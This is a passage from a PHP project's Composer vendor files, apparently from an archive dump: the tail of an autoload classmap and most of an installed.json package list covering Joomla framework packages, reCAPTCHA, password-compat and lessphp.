__DIR__ . '/..' . '/typo3/phar-stream-wrapper/src/Helper.php', 'TYPO3\\PharStreamWrapper\\Interceptor\\ConjunctionInterceptor' => __DIR__ . '/..' . '/typo3/phar-stream-wrapper/src/Interceptor/ConjunctionInterceptor.php', 'TYPO3\\PharStreamWrapper\\Interceptor\\PharExtensionInterceptor' => __DIR__ . '/..' . '/typo3/phar-stream-wrapper/src/Interceptor/PharExtensionInterceptor.php', 'TYPO3\\PharStreamWrapper\\Interceptor\\PharMetaDataInterceptor' => __DIR__ . '/..' . '/typo3/phar-stream-wrapper/src/Interceptor/PharMetaDataInterceptor.php', 'TYPO3\\PharStreamWrapper\\Manager' => __DIR__ . '/..' . '/typo3/phar-stream-wrapper/src/Manager.php', 'TYPO3\\PharStreamWrapper\\PharStreamWrapper' => __DIR__ . '/..' . '/typo3/phar-stream-wrapper/src/PharStreamWrapper.php', 'TYPO3\\PharStreamWrapper\\Phar\\Container' => __DIR__ . '/..' . '/typo3/phar-stream-wrapper/src/Phar/Container.php', 'TYPO3\\PharStreamWrapper\\Phar\\DeserializationException' => __DIR__ . '/..' . '/typo3/phar-stream-wrapper/src/Phar/DeserializationException.php', 'TYPO3\\PharStreamWrapper\\Phar\\Manifest' => __DIR__ . '/..' . '/typo3/phar-stream-wrapper/src/Phar/Manifest.php', 'TYPO3\\PharStreamWrapper\\Phar\\Reader' => __DIR__ . '/..' . '/typo3/phar-stream-wrapper/src/Phar/Reader.php', 'TYPO3\\PharStreamWrapper\\Phar\\ReaderException' => __DIR__ . '/..' . '/typo3/phar-stream-wrapper/src/Phar/ReaderException.php', 'TYPO3\\PharStreamWrapper\\Phar\\Stub' => __DIR__ . '/..' . '/typo3/phar-stream-wrapper/src/Phar/Stub.php', 'TYPO3\\PharStreamWrapper\\Resolvable' => __DIR__ . '/..' . '/typo3/phar-stream-wrapper/src/Resolvable.php', 'TYPO3\\PharStreamWrapper\\Resolver\\PharInvocation' => __DIR__ . '/..' . '/typo3/phar-stream-wrapper/src/Resolver/PharInvocation.php', 'TYPO3\\PharStreamWrapper\\Resolver\\PharInvocationCollection' => __DIR__ . '/..' . '/typo3/phar-stream-wrapper/src/Resolver/PharInvocationCollection.php', 'TYPO3\\PharStreamWrapper\\Resolver\\PharInvocationResolver' => __DIR__ . '/..' . '/typo3/phar-stream-wrapper/src/Resolver/PharInvocationResolver.php', 'lessc' => __DIR__ . '/..' . '/leafo/lessphp/lessc.inc.php', 'lessc_formatter_classic' => __DIR__ . '/..' . '/leafo/lessphp/lessc.inc.php', 'lessc_formatter_compressed' => __DIR__ . '/..' . '/leafo/lessphp/lessc.inc.php', 'lessc_formatter_lessjs' => __DIR__ . '/..' . '/leafo/lessphp/lessc.inc.php', 'lessc_parser' => __DIR__ . '/..' . '/leafo/lessphp/lessc.inc.php', 'ntlm_sasl_client_class' => __DIR__ . '/..' . '/phpmailer/phpmailer/extras/ntlm_sasl_client.php', 'phpmailerException' => __DIR__ . '/..' . '/phpmailer/phpmailer/class.phpmailer.php', ); public static function getInitializer(ClassLoader $loader) { return \Closure::bind(function () use ($loader) { $loader->prefixLengthsPsr4 = ComposerStaticInitc14bde14f8c86840049f5c1809c453dd::$prefixLengthsPsr4; $loader->prefixDirsPsr4 = ComposerStaticInitc14bde14f8c86840049f5c1809c453dd::$prefixDirsPsr4; $loader->prefixesPsr0 = ComposerStaticInitc14bde14f8c86840049f5c1809c453dd::$prefixesPsr0; $loader->classMap = ComposerStaticInitc14bde14f8c86840049f5c1809c453dd::$classMap; }, null, ClassLoader::class); } } PKÜ�\q��Y�<�<vendor/composer/installed.jsonnu�[���{ "packages": [ { "name": "brumann/polyfill-unserialize", "version": "v2.0.0", "version_normalized": "2.0.0.0", "source": { "type": "git", "url": "https://github.com/dbrumann/polyfill-unserialize.git", "reference": "46e5c18ee87d8a9b5765ef95468c1ac27bd107bf" }, "dist": { "type": "zip", "url": "https://api.github.com/repos/dbrumann/polyfill-unserialize/zipball/46e5c18ee87d8a9b5765ef95468c1ac27bd107bf", "reference": "46e5c18ee87d8a9b5765ef95468c1ac27bd107bf", "shasum": "" }, "require": { "php": "^5.3|^7.0" }, "time": "2020-07-24T10:16:53+00:00", "type": "library", "installation-source": "dist", "autoload": { "psr-4": { "Brumann\\Polyfill\\": "src/" } }, "notification-url": "https://packagist.org/downloads/", "license": [ "MIT" ], "authors": [ { "name": "Denis Brumann", "email": "denis.brumann@sensiolabs.de" } ], "description": "Backports unserialize options introduced in PHP 7.0 to older PHP versions.", "support": { "issues": "https://github.com/dbrumann/polyfill-unserialize/issues", "source": "https://github.com/dbrumann/polyfill-unserialize/tree/v2.0.0" }, "install-path": "../brumann/polyfill-unserialize" }, { "name": "google/recaptcha", "version": "1.1.2", "version_normalized": "1.1.2.0", "source": { "type": "git", "url": "https://github.com/google/recaptcha.git", "reference": "2b7e00566afca82a38a1d3adb8e42c118006296e" }, "dist": { "type": "zip", "url": "https://api.github.com/repos/google/recaptcha/zipball/2b7e00566afca82a38a1d3adb8e42c118006296e", "reference": "2b7e00566afca82a38a1d3adb8e42c118006296e", "shasum": "" }, "require": { "php": ">=5.3.2" }, "require-dev": { "phpunit/phpunit": "4.5.*" }, "time": "2015-09-02T17:23:59+00:00", "type": "library", "extra": { "branch-alias": { "dev-master": "1.1.x-dev" } }, "installation-source": "dist", "autoload": { "psr-4": { "ReCaptcha\\": "src/ReCaptcha" } }, "notification-url": "https://packagist.org/downloads/", "license": [ "BSD-3-Clause" ], "description": "Client library for reCAPTCHA, a free service that protect websites from spam and abuse.", "homepage": "http://www.google.com/recaptcha/", "keywords": [ "Abuse", "captcha", "recaptcha", "spam" ], "support": { "forum": "https://groups.google.com/forum/#!forum/recaptcha", "issues": "https://github.com/google/recaptcha/issues", "source": "https://github.com/google/recaptcha" }, "install-path": "../google/recaptcha" }, { "name": "ircmaxell/password-compat", "version": "v1.0.4", "version_normalized": "1.0.4.0", "source": { "type": "git", "url": "https://github.com/ircmaxell/password_compat.git", "reference": "5c5cde8822a69545767f7c7f3058cb15ff84614c" }, "dist": { "type": "zip", "url": "https://api.github.com/repos/ircmaxell/password_compat/zipball/5c5cde8822a69545767f7c7f3058cb15ff84614c", "reference": "5c5cde8822a69545767f7c7f3058cb15ff84614c", "shasum": "" }, "require-dev": { "phpunit/phpunit": "4.*" }, "time": "2014-11-20T16:49:30+00:00", "type": "library", "installation-source": "dist", "autoload": { "files": [ "lib/password.php" ] }, "notification-url": "https://packagist.org/downloads/", "license": [ "MIT" ], "authors": [ { "name": "Anthony Ferrara", "email": "ircmaxell@php.net", "homepage": "http://blog.ircmaxell.com" } ], "description": "A compatibility library for the proposed simplified password hashing algorithm: https://wiki.php.net/rfc/password_hash", "homepage": "https://github.com/ircmaxell/password_compat", "keywords": [ "hashing", "password" ], "support": { "issues": "https://github.com/ircmaxell/password_compat/issues", "source": "https://github.com/ircmaxell/password_compat/tree/v1.0" }, "install-path": "../ircmaxell/password-compat" }, { "name": "joomla/application", "version": "1.9.3", "version_normalized": "1.9.3.0", "source": { "type": "git", "url": "https://github.com/joomla-framework/application.git", "reference": "2a2fee9fa2ebb07c0d28da07f6e4ea3c56b77d16" }, "dist": { "type": "zip", "url": "https://api.github.com/repos/joomla-framework/application/zipball/2a2fee9fa2ebb07c0d28da07f6e4ea3c56b77d16", "reference": "2a2fee9fa2ebb07c0d28da07f6e4ea3c56b77d16", "shasum": "" }, "require": { "joomla/input": "^1.2", "joomla/registry": "^1.4.5|^2.0", "php": "^5.3.10|^7.0|^8.0", "psr/log": "^1.0" }, "require-dev": { "joomla/coding-standards": "^2.0@alpha", "joomla/event": "^1.2", "joomla/session": "^1.2.1", "joomla/test": "^1.1", "joomla/uri": "^1.1", "phpunit/phpunit": "^4.8.35|^5.4.3|^6.0|^7.0|^8.0", "symfony/phpunit-bridge": "^3.4.26|^4.1.12|^4.2.7|^5.0", "symfony/polyfill-php72": "^1.5" }, "suggest": { "joomla/session": "To use AbstractWebApplication with session support, install joomla/session", "joomla/uri": "To use AbstractWebApplication, install joomla/uri" }, "time": "2022-01-25T17:10:25+00:00", "type": "joomla-package", "extra": { "branch-alias": { "dev-master": "1.x-dev" } }, "installation-source": "dist", "autoload": { "psr-4": { "Joomla\\Application\\": "src/" } }, "notification-url": "https://packagist.org/downloads/", "license": [ "GPL-2.0-or-later" ], "description": "Joomla Application Package", "homepage": "https://github.com/joomla-framework/application", "keywords": [ "application", "framework", "joomla" ], "support": { "issues": "https://github.com/joomla-framework/application/issues", "source": "https://github.com/joomla-framework/application/tree/1.9.3" }, "funding": [ { "url": "https://community.joomla.org/sponsorship-campaigns.html", "type": "custom" }, { "url": "https://github.com/joomla", "type": "github" } ], "install-path": "../joomla/application" }, { "name": "joomla/archive", "version": "1.1.12", "version_normalized": "1.1.12.0", "source": { "type": "git", "url": "https://github.com/joomla-framework/archive.git", "reference": "b1c1e6c3aecc0486453cadbb92bc529cfa89a89f" }, "dist": { "type": "zip", "url": "https://api.github.com/repos/joomla-framework/archive/zipball/b1c1e6c3aecc0486453cadbb92bc529cfa89a89f", "reference": "b1c1e6c3aecc0486453cadbb92bc529cfa89a89f", "shasum": "" }, "require": { "joomla/filesystem": "^1.6.1", "php": "^5.3.10|^7.0|^8.0" }, "require-dev": { "joomla/coding-standards": "^2.0@alpha", "joomla/test": "^1.0", "phpunit/phpunit": "^4.8.35|^5.4.3|^6.0|^7.0|^8.0" }, "suggest": { "ext-bz2": "To extract bzip2 compressed packages", "ext-zip": "To extract zip compressed packages", "ext-zlib": "To extract gzip or zip compressed packages" }, "time": "2022-03-29T12:54:52+00:00", "type": "joomla-package", "extra": { "branch-alias": { "dev-master": "1.x-dev" } }, "installation-source": "dist", "autoload": { "psr-4": { "Joomla\\Archive\\": "src/" } }, "notification-url": "https://packagist.org/downloads/", "license": [ "GPL-2.0-or-later" ], "description": "Joomla Archive Package", "homepage": "https://github.com/joomla-framework/archive", "keywords": [ "archive", "framework", "joomla" ], "support": { "issues": "https://github.com/joomla-framework/archive/issues", "source": "https://github.com/joomla-framework/archive/tree/1.1.12" }, "funding": [ { "url": "https://community.joomla.org/sponsorship-campaigns.html", "type": "custom" }, { "url": "https://github.com/joomla", "type": "github" } ], "install-path": "../joomla/archive" }, { "name": "joomla/compat", "version": "1.2.0", "version_normalized": "1.2.0.0", "source": { "type": "git", "url": "https://github.com/joomla-framework/compat.git", "reference": "f23565fe0184517778996226eb4b2333deb369c4" }, "dist": { "type": "zip", "url": "https://api.github.com/repos/joomla-framework/compat/zipball/f23565fe0184517778996226eb4b2333deb369c4", "reference": "f23565fe0184517778996226eb4b2333deb369c4", "shasum": "" }, "require": { "php": ">=5.3.10" }, "time": "2015-02-24T00:21:06+00:00", "type": "joomla-package", "installation-source": "dist", "autoload": { "classmap": [ "src/JsonSerializable.php", "src/CallbackFilterIterator.php" ] }, "notification-url": "https://packagist.org/downloads/", "license": [ "GPL-2.0+" ], "description": "Joomla Compat Package", "homepage": "https://github.com/joomla-framework/compat", "keywords": [ "compat", "framework", "joomla" ], "support": { "issues": "https://github.com/joomla-framework/compat/issues", "source": "https://github.com/joomla-framework/compat/tree/1.2.0" }, "install-path": "../joomla/compat" }, { "name": "joomla/data", "version": "1.2.0", "version_normalized": "1.2.0.0", "source": { "type": "git", "url": "https://github.com/joomla-framework/data.git", "reference": "57ee292ba23307a6a6059e69b7b19ca5b624ab80" }, "dist": { "type": "zip", "url": "https://api.github.com/repos/joomla-framework/data/zipball/57ee292ba23307a6a6059e69b7b19ca5b624ab80", "reference": "57ee292ba23307a6a6059e69b7b19ca5b624ab80", "shasum": "" }, "require": { "joomla/compat": "~1.0", "joomla/registry": "~1.0", "php": ">=5.3.10|>=7.0" }, "require-dev": { "joomla/test": "~1.0", "phpunit/phpunit": "~4.8|~5.0", "squizlabs/php_codesniffer": "1.*" }, "time": "2016-04-02T22:20:43+00:00", "type": "joomla-package", "extra": { "branch-alias": { "dev-master": "1.x-dev" } }, "installation-source": "dist", "autoload": { "psr-4": { "Joomla\\Data\\": "src/", "Joomla\\Data\\Tests\\": "Tests/" } }, "notification-url": "https://packagist.org/downloads/", "license": [ "GPL-2.0+" ], "description": "Joomla Data Package", "homepage": "https://github.com/joomla-framework/data", "keywords": [ "data", "framework", "joomla" ], "support": { "issues": "https://github.com/joomla-framework/data/issues", "source": "https://github.com/joomla-framework/data/tree/1.2.0" }, "install-path": "../joomla/data" }, { "name": "joomla/di", "version": "1.5.1", "version_normalized": "1.5.1.0", "source": { "type": "git", "url": "https://github.com/joomla-framework/di.git", "reference": "33c66e4091e4433f33ddf4a0ac36604cf3b73c41" }, "dist": { "type": "zip", "url": "https://api.github.com/repos/joomla-framework/di/zipball/33c66e4091e4433f33ddf4a0ac36604cf3b73c41", "reference": "33c66e4091e4433f33ddf4a0ac36604cf3b73c41", "shasum": "" }, "require": { "php": "^5.3.10|~7.0", "psr/container": "~1.0" }, "provide": { "psr/container-implementation": "~1.0" }, "require-dev": { "joomla/coding-standards": "~2.0@alpha", "phpunit/phpunit": "^4.8.35|^5.4.3|~6.0" }, "time": "2018-02-25T16:30:45+00:00", "type": "joomla-package", "extra": { "branch-alias": { "dev-master": "1.x-dev" } }, "installation-source": "dist", "autoload": { "psr-4": { "Joomla\\DI\\": "src/" } }, "notification-url": "https://packagist.org/downloads/", "license": [ "GPL-2.0-or-later" ], "description": "Joomla DI Package", "homepage": "https://github.com/joomla-framework/di", "keywords": [ "container", "dependency injection", "di", "framework", "ioc", "joomla" ], "support": { "issues": "https://github.com/joomla-framework/di/issues", "source": "https://github.com/joomla-framework/di/tree/master" }, "install-path": "../joomla/di" }, { "name": "joomla/event", "version": "1.3.0", "version_normalized": "1.3.0.0", "source": { "type": "git", "url": "https://github.com/joomla-framework/event.git", "reference": "ea97afdc7afd78cc9a0500f4b60372764fc2c0b0" }, "dist": { "type": "zip", "url": "https://api.github.com/repos/joomla-framework/event/zipball/ea97afdc7afd78cc9a0500f4b60372764fc2c0b0", "reference": "ea97afdc7afd78cc9a0500f4b60372764fc2c0b0", "shasum": "" }, "require": { "php": "^5.3.10|~7.0" }, "require-dev": { "joomla/coding-standards": "~2.0@alpha", "phpunit/phpunit": "^4.8.35|^5.4.3|~6.0" }, "time": "2019-10-07T22:54:58+00:00", "type": "joomla-package", "extra": { "branch-alias": { "dev-master": "1.x-dev" } }, "installation-source": "dist", "autoload": { "psr-4": { "Joomla\\Event\\": "src/" } }, "notification-url": "https://packagist.org/downloads/", "license": [ "GPL-2.0-or-later" ], "description": "Joomla Event Package", "homepage": "https://github.com/joomla-framework/event", "keywords": [ "event", "framework", "joomla" ], "support": { "issues": "https://github.com/joomla-framework/event/issues", "source": "https://github.com/joomla-framework/event/tree/1.3.0" }, "install-path": "../joomla/event" }, { "name": "joomla/filesystem", "version": "1.6.2", "version_normalized": "1.6.2.0", "source": { "type": "git", "url": "https://github.com/joomla-framework/filesystem.git", "reference": "9ad5d9b64960f0ea56fb71364a33622843b95c27" }, "dist": { "type": "zip", "url": "https://api.github.com/repos/joomla-framework/filesystem/zipball/9ad5d9b64960f0ea56fb71364a33622843b95c27", "reference": "9ad5d9b64960f0ea56fb71364a33622843b95c27", "shasum": "" }, "require": { "php": "^5.3.10|^7.0|^8.0" }, "require-dev": { "joomla/coding-standards": "^2.0@alpha", "joomla/test": "^1.0", "mikey179/vfsstream": "~1.0", "paragonie/random_compat": "~1.0|~2.0", "phpunit/phpunit": "^4.8.35|^5.4.3|^6.0|^7.0|^8.0" }, "suggest": { "paragonie/random_compat": "Required to use Joomla\\Filesystem\\Path::isOwner()" }, "time": "2022-03-29T12:45:36+00:00", "type": "joomla-package", "extra": { "branch-alias": { "dev-master": "1.x-dev" } }, "installation-source": "dist", "autoload": { "psr-4": { "Joomla\\Filesystem\\": "src/" } }, "notification-url": "https://packagist.org/downloads/", "license": [ "GPL-2.0-or-later" ], "description": "Joomla Filesystem Package", "homepage": "https://github.com/joomla/joomla-framework-filesystem", "keywords": [ "filesystem", "framework", "joomla" ], "support": { "issues": "https://github.com/joomla-framework/filesystem/issues", "source": "https://github.com/joomla-framework/filesystem/tree/1.6.2" }, "funding": [ { "url": "https://community.joomla.org/sponsorship-campaigns.html", "type": "custom" }, { "url": "https://github.com/joomla", "type": "github" } ], "install-path": "../joomla/filesystem" }, { "name": "joomla/filter", "version": "1.4.4", "version_normalized": "1.4.4.0", "source": { "type": "git", "url": "https://github.com/joomla-framework/filter.git", "reference": "09733d70db6c6d91e53e0e0d0fcde9b8638175c4" }, "dist": { "type": "zip", "url": "https://api.github.com/repos/joomla-framework/filter/zipball/09733d70db6c6d91e53e0e0d0fcde9b8638175c4", "reference": "09733d70db6c6d91e53e0e0d0fcde9b8638175c4", "shasum": "" }, "require": { "joomla/string": "~1.3|~2.0", "php": "^5.3.10|~7.0|^8.0" }, "require-dev": { "joomla/coding-standards": "~2.0@alpha", "joomla/language": "~1.3", "phpunit/phpunit": "^4.8.35|^5.4.3|~6.0" }, "suggest": { "joomla/language": "Required only if you want to use `OutputFilter::stringURLSafe`." }, "time": "2022-03-29T12:14:25+00:00", "type": "joomla-package", "extra": { "branch-alias": { "dev-master": "1.x-dev" } }, "installation-source": "dist", "autoload": { "psr-4": { "Joomla\\Filter\\": "src/" } }, "notification-url": "https://packagist.org/downloads/", "license": [ "GPL-2.0-or-later" ], "description": "Joomla Filter Package", "homepage": "https://github.com/joomla-framework/filter", "keywords": [ "filter", "framework", "joomla" ], "support": { "issues": "https://github.com/joomla-framework/filter/issues", "source": "https://github.com/joomla-framework/filter/tree/1.4.4" }, "funding": [ { "url": "https://community.joomla.org/sponsorship-campaigns.html", "type": "custom" }, { "url": "https://github.com/joomla", "type": "github" } ], "install-path": "../joomla/filter" }, { "name": "joomla/image", "version": "1.5.1", "version_normalized": "1.5.1.0", "source": { "type": "git", "url": "https://github.com/joomla-framework/image.git", "reference": "00e843bccb2f9b1f1e6d8710ed55d103c641a75b" }, "dist": { "type": "zip", "url": "https://api.github.com/repos/joomla-framework/image/zipball/00e843bccb2f9b1f1e6d8710ed55d103c641a75b", "reference": "00e843bccb2f9b1f1e6d8710ed55d103c641a75b", "shasum": "" }, "require": { "ext-gd": "*", "php": "^5.3.10|~7.0", "psr/log": "~1.0" }, "require-dev": { "joomla/coding-standards": "~2.0@alpha", "joomla/test": "~1.0", "phpunit/phpunit": "^4.8.35|^5.4.3|~6.0" }, "time": "2020-12-02T13:11:43+00:00", "type": "joomla-package", "extra": { "branch-alias": { "dev-master": "1.x-dev" } }, "installation-source": "dist", "autoload": { "psr-4": { "Joomla\\Image\\": "src/" } }, "notification-url": "https://packagist.org/downloads/", "license": [ "GPL-2.0-or-later" ], "description": "Joomla Image Package", "homepage": "https://github.com/joomla-framework/image", "keywords": [ "framework", "image", "joomla" ], "support": { "issues": "https://github.com/joomla-framework/image/issues", "source": "https://github.com/joomla-framework/image/tree/1.5.1" }, "funding": [ { "url": "https://community.joomla.org/sponsorship-campaigns.html", "type": "custom" }, { "url": "https://github.com/joomla", "type": "github" } ], "install-path": "../joomla/image" }, { "name": "joomla/input", "version": "1.4.0", "version_normalized": "1.4.0.0", "source": { "type": "git", "url": "https://github.com/joomla-framework/input.git", "reference": "a89927d412cdc8172889e3e0e3e66a134f367be1" }, "dist": { "type": "zip", "url": "https://api.github.com/repos/joomla-framework/input/zipball/a89927d412cdc8172889e3e0e3e66a134f367be1", "reference": "a89927d412cdc8172889e3e0e3e66a134f367be1", "shasum": "" }, "require": { "joomla/filter": "~1.0", "php": "^5.3.10|~7.0" }, "require-dev": { "joomla/coding-standards": "~2.0@alpha", "joomla/test": "~1.0", "phpunit/phpunit": "^4.8.35|^5.4.3|~6.0" }, "time": "2019-06-15T22:13:58+00:00", "type": "joomla-package", "extra": { "branch-alias": { "dev-master": "1.x-dev" } }, "installation-source": "dist", "autoload": { "psr-4": { "Joomla\\Input\\": "src/" } }, "notification-url": "https://packagist.org/downloads/", "license": [ "GPL-2.0-or-later" ], "description": "Joomla Input Package", "homepage": "https://github.com/joomla-framework/input", "keywords": [ "framework", "input", "joomla" ], "support": { "issues": "https://github.com/joomla-framework/input/issues", "source": "https://github.com/joomla-framework/input/tree/1.4.0" }, "install-path": "../joomla/input" }, { "name": "joomla/ldap", "version": "1.5.0", "version_normalized": "1.5.0.0", "source": { "type": "git", "url": "https://github.com/joomla-framework/ldap.git", "reference": "2b81fb2bb0a95b66d8aa1e3a4b6875990f5adf46" }, "dist": { "type": "zip", "url": "https://api.github.com/repos/joomla-framework/ldap/zipball/2b81fb2bb0a95b66d8aa1e3a4b6875990f5adf46", "reference": "2b81fb2bb0a95b66d8aa1e3a4b6875990f5adf46", "shasum": "" }, "require": { "ext-ldap": "*", "php": "^5.3.10|~7.0" }, "require-dev": { "joomla/coding-standards": "~2.0@alpha", "joomla/registry": "^1.4.5|~2.0", "phpunit/phpunit": "^4.8.35|^5.4.3|~6.0", "symfony/polyfill-php56": "~1.0" }, "suggest": { "symfony/polyfill-php56": "If using PHP 5.5 or earlier to use ldap_escape() function" }, "time": "2019-03-10T15:16:38+00:00", "type": "joomla-package", "extra": { "branch-alias": { "dev-master": "1.x-dev" } }, "installation-source": "dist", "autoload": { "psr-4": { "Joomla\\Ldap\\": "src/" } }, "notification-url": "https://packagist.org/downloads/", "license": [ "GPL-2.0-or-later" ], "description": "Joomla LDAP Package", "homepage": "https://github.com/joomla-framework/ldap", "keywords": [ "framework", "joomla", "ldap" ], "support": { "issues": "https://github.com/joomla-framework/ldap/issues", "source": "https://github.com/joomla-framework/ldap/tree/1.5.0" }, "install-path": "../joomla/ldap" }, { "name": "joomla/registry", "version": "1.6.4", "version_normalized": "1.6.4.0", "source": { "type": "git", "url": "https://github.com/joomla-framework/registry.git", "reference": "87450394f093efcb3ac5fc978e73d1403ebe8a38" }, "dist": { "type": "zip", "url": "https://api.github.com/repos/joomla-framework/registry/zipball/87450394f093efcb3ac5fc978e73d1403ebe8a38", "reference": "87450394f093efcb3ac5fc978e73d1403ebe8a38", "shasum": "" }, "require": { "joomla/compat": "~1.0", "joomla/utilities": "^1.4.1|~2.0", "php": "^5.3.10|~7.0", "symfony/polyfill-php55": "~1.0" }, "require-dev": { "joomla/coding-standards": "~2.0@alpha", "joomla/test": "~1.0", "phpunit/phpunit": "^4.8.35|^5.4.3|~6.0|~7.0|~8.0", "symfony/yaml": "~2.0|~3.0|~4.0|~5.0" }, "suggest": { "symfony/yaml": "Install symfony/yaml if you require YAML support." }, "time": "2022-01-08T18:33:07+00:00", "type": "joomla-package", "extra": { "branch-alias": { "dev-master": "1.x-dev" } }, "installation-source": "dist", "autoload": { "psr-4": { "Joomla\\Registry\\": "src/" } }, "notification-url": "https://packagist.org/downloads/", "license": [ "GPL-2.0-or-later" ], "description": "Joomla Registry Package", "homepage": "https://github.com/joomla-framework/registry", "keywords": [ "framework", "joomla", "registry" ], "support": { "issues": "https://github.com/joomla-framework/registry/issues", "source": "https://github.com/joomla-framework/registry/tree/1.6.4" }, "funding": [ { "url": "https://community.joomla.org/sponsorship-campaigns.html", "type": "custom" }, { "url": "https://github.com/joomla", "type": "github" } ], "install-path": "../joomla/registry" }, { "name": "joomla/session", "version": "1.6.0", "version_normalized": "1.6.0.0", "target-dir": "Joomla/Session", "source": { "type": "git", "url": "https://github.com/joomla-framework/session.git", "reference": "0e1a0bd523bad42cae115f35e4079e5731a48d13" }, "dist": { "type": "zip", "url": "https://api.github.com/repos/joomla-framework/session/zipball/0e1a0bd523bad42cae115f35e4079e5731a48d13", "reference": "0e1a0bd523bad42cae115f35e4079e5731a48d13", "shasum": "" }, "require": { "joomla/event": "~1.1", "joomla/filter": "~1.0", "joomla/input": "~1.4", "paragonie/random_compat": "~1.0|~2.0", "php": "^5.3.10|~7.0" }, "require-dev": { "joomla/coding-standards": "~2.0@alpha", "joomla/database": "~1.0", "joomla/test": "~1.0", "phpunit/dbunit": "~1.3", "phpunit/phpunit": "~4.8|~5.0|~6.0" }, "suggest": { "joomla/database": "Install joomla/database if you want to use Database session storage." }, "time": "2020-12-16T12:19:38+00:00", "type": "joomla-package", "extra": { "branch-alias": { "dev-master": "1.x-dev" } }, "installation-source": "dist", "autoload": { "psr-0": { "Joomla\\Session": "" } }, "notification-url": "https://packagist.org/downloads/", "license": [ "GPL-2.0-or-later" ], "description": "Joomla Session Package", "homepage": "https://github.com/joomla-framework/session", "keywords": [ "framework", "joomla", "session" ], "support": { "issues": "https://github.com/joomla-framework/session/issues", "source": "https://github.com/joomla-framework/session/tree/1.6.0" }, "funding": [ { "url": "https://community.joomla.org/sponsorship-campaigns.html", "type": "custom" }, { "url": "https://github.com/joomla", "type": "github" } ], "install-path": "../joomla/session/Joomla/Session" }, { "name": "joomla/string", "version": "1.4.6", "version_normalized": "1.4.6.0", "source": { "type": "git", "url": "https://github.com/joomla-framework/string.git", "reference": "728ba9e39a8f1bd15b75ab878f57fa505184b8ab" }, "dist": { "type": "zip", "url": "https://api.github.com/repos/joomla-framework/string/zipball/728ba9e39a8f1bd15b75ab878f57fa505184b8ab", "reference": "728ba9e39a8f1bd15b75ab878f57fa505184b8ab", "shasum": "" }, "require": { "php": "^5.3.10|^7.0|^8.0" }, "require-dev": { "joomla/coding-standards": "^2.0@alpha", "joomla/test": "^1.0", "phpunit/phpunit": "^4.8.35|^5.4.3|^6.0|^7.0|^8.0" }, "suggest": { "ext-mbstring": "For improved processing" }, "time": "2022-01-25T15:16:52+00:00", "type": "joomla-package", "extra": { "branch-alias": { "dev-master": "1.x-dev" } }, "installation-source": "dist", "autoload": { "psr-4": { "Joomla\\String\\": "src/" }, "files": [ "src/phputf8/utf8.php", "src/phputf8/ord.php", "src/phputf8/str_ireplace.php", "src/phputf8/str_pad.php", "src/phputf8/str_split.php", "src/phputf8/strcasecmp.php", "src/phputf8/strcspn.php", "src/phputf8/stristr.php", "src/phputf8/strrev.php", "src/phputf8/strspn.php", "src/phputf8/trim.php", "src/phputf8/ucfirst.php", "src/phputf8/ucwords.php", "src/phputf8/utils/ascii.php", "src/phputf8/utils/validation.php" ] }, "notification-url": "https://packagist.org/downloads/", "license": [ "GPL-2.0-or-later" ], "description": "Joomla String Package", "homepage": "https://github.com/joomla-framework/string", "keywords": [ "framework", "joomla", "string" ], "support": { "issues": "https://github.com/joomla-framework/string/issues", "source": "https://github.com/joomla-framework/string/tree/1.4.6" }, "funding": [ { "url": "https://community.joomla.org/sponsorship-campaigns.html", "type": "custom" }, { "url": "https://github.com/joomla", "type": "github" } ], "install-path": "../joomla/string" }, { "name": "joomla/uri", "version": "1.2.1", "version_normalized": "1.2.1.0", "source": { "type": "git", "url": "https://github.com/joomla-framework/uri.git", "reference": "e3968e05d3b741378c106b44d8d72b230a43f845" }, "dist": { "type": "zip", "url": "https://api.github.com/repos/joomla-framework/uri/zipball/e3968e05d3b741378c106b44d8d72b230a43f845", "reference": "e3968e05d3b741378c106b44d8d72b230a43f845", "shasum": "" }, "require": { "php": "^5.3.10|^7.0|^8.0" }, "require-dev": { "joomla/coding-standards": "~2.0@alpha", "joomla/test": "~1.0", "phpunit/phpunit": "^4.8.35|^5.4.3|^6.0|^7.0|^8.0" }, "time": "2022-01-24T19:44:53+00:00", "type": "joomla-package", "extra": { "branch-alias": { "dev-master": "1.x-dev" } }, "installation-source": "dist", "autoload": { "psr-4": { "Joomla\\Uri\\": "src/" } }, "notification-url": "https://packagist.org/downloads/", "license": [ "GPL-2.0-or-later" ], "description": "Joomla Uri Package", "homepage": "https://github.com/joomla-framework/uri", "keywords": [ "framework", "joomla", "uri" ], "support": { "issues": "https://github.com/joomla-framework/uri/issues", "source": "https://github.com/joomla-framework/uri/tree/1.2.1" }, "funding": [ { "url": "https://community.joomla.org/sponsorship-campaigns.html", "type": "custom" }, { "url": "https://github.com/joomla", "type": "github" } ], "install-path": "../joomla/uri" }, { "name": "joomla/utilities", "version": "1.6.2", "version_normalized": "1.6.2.0", "source": { "type": "git", "url": "https://github.com/joomla-framework/utilities.git", "reference": "9f7d9fda537ca005f7467de68f92506d48f348f5" }, "dist": { "type": "zip", "url": "https://api.github.com/repos/joomla-framework/utilities/zipball/9f7d9fda537ca005f7467de68f92506d48f348f5", "reference": "9f7d9fda537ca005f7467de68f92506d48f348f5", "shasum": "" }, "require": { "joomla/string": "~1.3|~2.0", "php": "^5.3.10|~7.0|^8.0" }, "require-dev": { "joomla/coding-standards": "~2.0@alpha", "phpunit/phpunit": "^4.8.35|^5.4.3|~6.0|^7.0|^8.0" }, "time": "2021-06-02T21:39:39+00:00", "type": "joomla-package", "extra": { "branch-alias": { "dev-master": "1.x-dev" } }, "installation-source": "dist", "autoload": { "psr-4": { "Joomla\\Utilities\\": "src/" } }, "notification-url": "https://packagist.org/downloads/", "license": [ "GPL-2.0-or-later" ], "description": "Joomla Utilities Package", "homepage": "https://github.com/joomla-framework/utilities", "keywords": [ "framework", "joomla", "utilities" ], "support": { "issues": "https://github.com/joomla-framework/utilities/issues", "source": "https://github.com/joomla-framework/utilities/tree/1.6.2" }, "funding": [ { "url": "https://community.joomla.org/sponsorship-campaigns.html", "type": "custom" }, { "url": "https://github.com/joomla", "type": "github" } ], "install-path": "../joomla/utilities" }, { "name": "leafo/lessphp", "version": "dev-joomla3-php8", "version_normalized": "dev-joomla3-php8", "source": { "type": "git", "url": "https://github.com/joomla-backports/lessphp.git", "reference": "802755b7632f59078843f38c9d57e5a8c496cc3a" }, "dist": { "type": "zip", "url": "https://api.github.com/repos/joomla-backports/lessphp/zipball/802755b7632f59078843f38c9d57e5a8c496cc3a", "reference": "802755b7632f59078843f38c9d57e5a8c496cc3a", "shasum": "" }, "require-dev": { "phpunit/phpunit": 